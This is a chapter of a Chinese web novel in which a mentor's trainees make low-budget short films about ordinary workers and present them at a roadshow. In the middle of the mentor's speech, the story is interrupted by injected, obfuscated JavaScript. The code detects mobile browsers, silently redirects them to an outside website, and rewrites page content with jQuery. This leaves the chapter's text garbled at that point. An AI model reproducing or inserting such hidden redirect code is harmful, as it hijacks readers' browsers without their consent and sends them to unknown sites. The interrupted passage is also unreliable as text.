项目路演日的筹备,紧锣密鼓地开始了。
沈小鱼给星火计划的所有学员布置了一个特殊任务:
“72小时,拍一部属于你们自己的短片。题材不限,形式不限,团队自组,预算——每人五百元。”
消息一出,学员们都傻了。
“五百元?拍一部短片?”
“这怎么可能?租设备都不够!”
“沈老师,这太……”
“觉得不可能?”
沈小鱼站在排练厅中央,看着眼前这群年轻的面孔,“那就想办法让它变成可能。用手机拍,用借来的设备拍,用你们能找到的一切资源拍。我要看的不是多精美的画面,是你们眼里的真实。”
她顿了顿:
“记住,你们不是科班出身,没有系统学过导演、摄影、剪辑。但你们有生活,有故事,有普通人看世界的角度。这是你们最宝贵的财富,也是新规则最看重的东西——那些被传统影视教育过滤掉的、粗糙的、鲜活的生命力。”
学员们面面相觑,但眼睛里开始有了光。
分组很快完成。
十二个学员,分成了四组,每组三人。
许昕那组,除了她,还有一个来自东北农村的男孩王闯,一个在城市打工的姑娘李婷。
三人蹲在排练厅角落,开始讨论。
“拍什么?”
王闯挠头,“五百块,够干啥的?我老家的杀猪菜,一桌都不止五百。”
李婷想了想:
“我打工的那个早餐店,老板每天三点起床,和面、熬粥、炸油条,十年没休息过一天。我觉得他很了不起。”
许昕眼睛一亮:
“那我们就拍这个?拍一个普通早餐店老板的一天?”
“可是……五百块够租设备吗?”王闯犯愁。
许昕拿出自己的手机:
“用这个拍。我手机摄像头还行。收音……我们可以借个便宜的麦克风。”
“剪辑呢?”
“我学过一点剪辑软件,可以试试。”李婷说。
“好!”
许昕站起来,“那我们现在就去那家早餐店,跟老板商量。”
接下来的72小时,四组学员像疯了一样奔跑。
许昕那组真的用手机拍完了全部素材。
他们凌晨两点就到早餐店,跟着老板一起和面、熬粥、炸油条,拍下了热腾腾的蒸汽里,老板被汗水浸湿的后背,还有他给环卫工人免费加豆浆时憨厚的笑容。
另一组拍的是地铁站里卖唱的女孩,用攒下来的钱供弟弟上大学。
第三组拍的是深夜代驾司机,在城市的霓虹里穿梭,手机里存着女儿画的“爸爸是超人”的涂鸦。
第四组最大胆——
他们去了郊区的垃圾处理厂,拍了一个工作了二十年的垃圾分类员,他能凭手感分出三十多种塑料,却供不起儿子上一所好学校。
72小时后,四部短片粗剪完成。
虽然画面粗糙,收音不稳,剪辑生涩,但每一部都带着扑面而来的真实气息。
路演日当天,透明创作联盟的演播厅坐满了人。
除了调研小组的专家、业内同行、媒体,还有通过直播预约来的上万名网友。
沈小鱼没有上台,她坐在第一排,把舞台完全交给了学员们。
第一组播放的,就是许昕他们拍的《清晨五点的豆浆》。
片长只有十二分钟,但现场很多人在看到老板给环卫工人加豆浆时,眼眶红了。
第二组《地铁站的歌声》、
第三组《深夜超人》、
第四组《垃圾分类员的手》
——每一部都引发了热烈的掌声和讨论。
直播弹幕刷得飞起:
“这才是真实的中国!”
“看哭了,那个垃圾分类员的手,全是伤口……”
“这些孩子拍得太有温度了!”
“新规则培养的不是明星,是能看见普通人的创作者!”
四部短片播完,沈小鱼才走上台。
她没有点评作品,而是问了一个问题:
“大家觉得,这四部片子,值多少钱?”
台下沉默。
“在传统的投资体系里,它们可能一分钱都不值。”
沈小鱼平静地说,“因为它们没有明星,没有大IP,没有流量保证。它们粗糙,生涩,甚至有些地方技术不合格。”
她顿了顿:
“但在我眼里,它们是无价的。因为它们拍出了这个时代最缺少的东西——真实。”
“我们建立新规则,成立星火计划,不是为了培养下一个流量明星,下一个商业导演。我们是想找回一种能力——看见真实、表达真实、敬畏真实的能力。”
她看向台下的学员们:
“这些孩子,来自大山,来自农村,来自城市的底层。他们没有经过专业的训练,但他们有生活给他们的磨砺,有苦难给他们的厚度。这些,是任何电影学院都教不出来的。”
“而我们能做的,就是给他们一台摄像机——哪怕只是一部手机——然后告诉他们:去拍吧。拍你们眼里的世界,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006735|193092||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拍你们心里的故事。”
“因为那些故事,比任何编造出来的剧情,都更有力量。”
掌声雷动。
调研小组的副主任站起来,第一个鼓掌。
接着,所有人都站了起来。
路演日结束后,沈小鱼接到了严华的电话。
“小鱼,你们今天这场秀,做得漂亮。”
严华语气里有掩饰不住的兴奋,“我刚得到消息,□□那边已经决定,要把星火计划作为‘文艺人才培养创新模式’的典型案例,上报更高层。”
沈小鱼心里一动:
“这意味着……”
“意味着,你们的路,走对了。”
严华说,“而且,走得太快,让有些人坐不住了。”
“坐不住?”
“对。”
严华压低声音,“我听说,八大公司正在酝酿一次更大规模的反扑。这次,他们可能要动真格的了。”
“怎么动?”
“具体还不清楚。但他们的目标很明确——在《野草》上映之前,彻底打垮新规则基金,让星火计划夭折。”
沈小鱼握着手机,看着窗外渐渐暗下来的天色。
“严导,谢谢您告诉我这些。”
她说,“我会准备。”
挂了电话,她没有离开办公室。
她打开电脑,调出新规则基金的所有被投项目清单,一个一个地看。
乡村儿童艺术教育项目,已经在三个省份的山区小学落地,让两千多个孩子第一次拿起了画笔。
残障人士文创培训项目,帮助一百多位残障朋友学会了陶艺、木雕、编织,他们的作品正在网上热卖。
老旧厂房改造的艺术空间,成了城市年轻人的打卡地,每个月都有独立电影展、话剧演出、艺术沙龙。
这些项目,不赚钱,甚至一直在烧钱。
但它们真实地改变了一些人的人生。
而这,就是新规则的根基——
不是资本的游戏,而是人的价值。
沈小鱼闭上眼睛。
她知道,接下来要打的,可能是一场生死战。
对手会用尽一切手段,证明她错了,证明新规则是空中楼阁,证明理想主义敌不过现实。
但她不会退。
因为她看到了那些孩子眼里的光,看到了早餐店老板憨厚的笑容,看到了垃圾分类员那双布满伤口却依然温暖的手。
那些真实的人,真实的故事,真实的情感。
就是她最坚硬的铠甲。
和最锋利的剑。